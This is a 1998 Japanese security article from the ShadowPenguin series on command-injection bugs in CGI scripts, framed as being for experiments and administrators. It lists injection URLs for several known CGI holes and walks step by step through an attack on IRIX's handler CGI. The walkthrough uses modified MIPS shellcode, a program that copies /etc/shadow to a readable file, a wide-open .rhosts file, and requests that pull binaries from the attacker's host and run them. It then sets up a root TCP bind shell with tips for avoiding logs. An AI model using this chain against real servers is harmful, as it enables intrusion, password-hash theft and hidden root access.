================================
The ShadowPenguin Documents. No.11
- CGIバグの危険性 -
Written by うにゅん Nov.16, 1998
================================
1. はじめに
今更言う必要はありませんが、コマンドを入力できるようなCGIのバグは危険です。しかし、CGIは通常rootで動作している訳ではありませんので、一見安全そうですね。でも時にはコレが原因で
root権限のshellを使われてしまう場合もあり、ヘタをするとFirewallも越えられます。そんな一例を紹介します。なお、このテキストは実験用、および管理者用です。このテキストの内容を実際の攻撃に使わないようにしましょうね。
2. どんなバグが危険なのか
たとえば、エディットボックスに文字を入れ、そのままsystemでUNIXコマンドを実行しているようなCGIですね。あれだと;(セミコロン)を付けるとその後に書かれたコマンドを実行できてしまう場合があります。DEF
CON ZEROに掲載されているJPNICハック事件は有名ですね。コマンドが実行できるCGIのバグで有名なのは、
phf : http://www.target.com/cgi-bin/phf?Qalias=x%0a好きなコマンド
test-cgi : http://www.target.com/cgi-bin/test-cgi?¥help%0a好きなコマンド
campas : http://www.target.com/cgi-bin/campas?%0a好きなコマンド
webdist : http://www.target.com/cgi-bin/webdist.cgi?distloc=;好きなコマンド
handler : http://www.target.com/cgi-bin/handler/useless_shit;好きなコマンド|?data=Download
でしょう。
これら、コマンドが実行できてしまうバグがあるサーバの管理者は、速やかに対策を行う必要があります。
3. なぜ危険なのか
例えばhandlerを例にとってみましょう。これはIRIX標準のCGIバグで、nobody権限でコマンドを実行できます。もちろん、
http://www.target.com/cgi-bin/handler/useless_shit;cat%20/etc/shadow|?data=Download
なんてやっても、shadowを見ることは出来ないので安全かと思います。しかし、telnet、rlogin、rsh、rcp、ftp等のサービスポートを/etc/inetd.confで全て閉鎖してもローカルのセキュリティレベルがアマイと簡単にroot権限のshellを使わせてしまう原因になります。これはやはり、「外部からコマンドを実行できる」からです。
4. /etc/shadowを見る
先ほどの例では、/etc/shadowを見られる心配はありません。しかしちょっと考えれば方法はいくらでもあります。「tdmでroot:
The ShadowPenguin Documents No.6」で示した例を応用すれば簡単ですね。
とりあえず実験してみましょう。まず、バグのあるhandlerが動作しているIRIX(Target)と適当なUNIX、あとローカルのoverflow-exploit.cを用意しましょう。
overflow-exploit.cのアセンブラコードを変更し、/bin/shを呼び出しを/tmp/aa呼び出しに変更します。
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f746d70, /* "/tmp" */
0x2f6161ff /* "/aa" */
}:
これで、/bin/shが実行される代りに、/tmp/aaが実行されます。詳しくは「tdmでroot
: The ShadowPenguin Document No.6」および「スタックオーバーフローの危険性
: The ShadowPenguin Document No.8」を参照してください。あとは、/etc/shadowを覗くaa.cを作成します。
/*---- aa.c ---*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
main()
{
FILE *fp,*fpo;
char buf[1000];
fp=fopen("/etc/shadow","r");
fpo=fopen("/tmp/shadow","w");
for(;;){
if (feof(fp)) break;
fscanf(fp,"%s",buf);
fprintf(fpo,"%s¥n",buf);
}
fclose(fp);
fclose(fpo); chmod("/tmp/shadow",S_IWUSR|S_IRUSR|S_IRGRP|S_IWGRP|S_IWOTH|S_IROTH);
}
上記のexploit.cおよびaa.cを予めIRIXでコンパイルしておきます(ターゲット上でもコンパイルできますが...)。
[yourhost]% cc exploit.c -o exploit
[yourhost]% cc aa.c -o aa
あとは、このバイナリを置いたwsのホーム上の.rhostsを+ +に設定しておきます。
[yourhost]% cat > .rhosts
+ +
^D
これで準備OKです。ではShadowを覗いてみます。
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/usr/bsd/rcp%20unyun@yourhost.com:aa%20/tmp/aa;/sbin/chmod%20755%20/tmp/aa|?data=Download
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/usr/bsd/rcp%20unyun@yourhost.com:exploit%20/tmp/exploit;/sbin/chmod%20755%20/tmp/exploit|?data=Download
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/tmp/exploit|?data=Download
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/sbin/cat%20/tmp/shadow|?data=Download
これで見ることができます。
なお、unyun@yourhost.comのところは、あなたのアカウント@ホスト名です。プログラムaaはroot権限で実行できますので、とても危険ですね。HDD消去プログラムなんて書かれたら、たまったものではないです。
5. shellを使う
shellを使うだけなら、rootをとるようなプログラムも必要ありません。ネットワーク経由でshellを動かすプログラムがあればそれだけで「侵入」されてしまいます。このようなプログラムはShadowPenguinのPenguinToolboxで幾つか紹介しています。そのなかの一つ、TCPshellを使って実験してみましょう。
とりあえず、TCPshellをIRIXでコンパイルしておきます。
[yourhost]% cc tcps100.c -o tcps100
あとは、先ほどと同様の手順で.rhostsを作成し、tcps100を送り込んで実行させます。
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/usr/bsd/rcp%20unyun@thishost.com:tcps100%20/tmp/tcps100;/sbin/chmod%20755%20/tmp/tcps100|?data=Download
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/tmp/tcps100|?data=Download
[yourhost]% telnet www.target.com 15210
The shadowPenguin System Inc. TCP Shell Version 1.00 Developped by UNYUN
$
これでログインできますね。一番最初だけはhttpdのログに残りますが、二回目からはログは残りませんね。しかも、rootをとってrootで常駐しなおせば、これでいきなりrootログインできてしまいます。
なお、ターミナルの関係上、tcpsは送受信の際の改行コードをきちんと合わせておく必要があります。改行コードがちゃんとあってないと、表示がおかしくなったりコマンドが正常に送れなかったります。送信時の改行コードがCR+LFにか対応しないtelnetクライアントは、コマンドのあとに;(セミコロン)を入れて実行すればコマンドを送ることができます。なお、これもターミナルの関係上、tcpsでsh等を呼び出した場合は-iオプション(対話モード)を付けないとプロンプトが消えます。しかし、その他の機能はほぼ問題ありません。
[yourhost]% telnet www.target.com 15210
The shadowPenguin System Inc. TCP Shell Version 1.00 Developped by UNYUN
$rcp unyun@hehehe.com:rootexploit.c .;
$cc rootexploit.c; (root-exploitプログラムをコンパイルして実行)
$./a.out;
#whoami; (便宜的にプロンプトを#をとしているが、本来は表示されない)
root
#chown root /tmp/tcps100;
#chmod 4755 /tmp/tcps100; (tcpsをroot-suidにする)
#ps -e | grep tcps100;
2415 ? 0:00 tcps100
#kill -9 2415 (tcpsを終了する)
[yourhost]% telnet www.target.com 80
GET /cgi-bin/handler/useless_shit;/tmp/tcps100|?data=Download (tcpsを再起動する)
[yourhost]% telnet www.target.com 15210
The shadowPenguin System Inc. TCP Shell Version 1.00 Developped by UNYUN
#
別ポートでtcpsをもう一つrootで常駐させ、そのあと最初のtcpsをkillすると、suidにしなくてもいいので発見も難しくなってしまいます。
この例ではTCPshellを使用しましたが、UDPshell、TDMを使用することもできます。UDPshellを使うと、Firewallを導入していても、HTTPとUDPが外部から通る場合は侵入&root権限のshellを使用される恐れもありますね。Firewallを導入していて外部から侵入され、足跡も消された上で踏み台にされたら、かなりマズいことになるかもしれません。管理者は、こういったCGIのバグを抱えたサーバがないか検査し、バグがある場合は速やかに対策しましょう。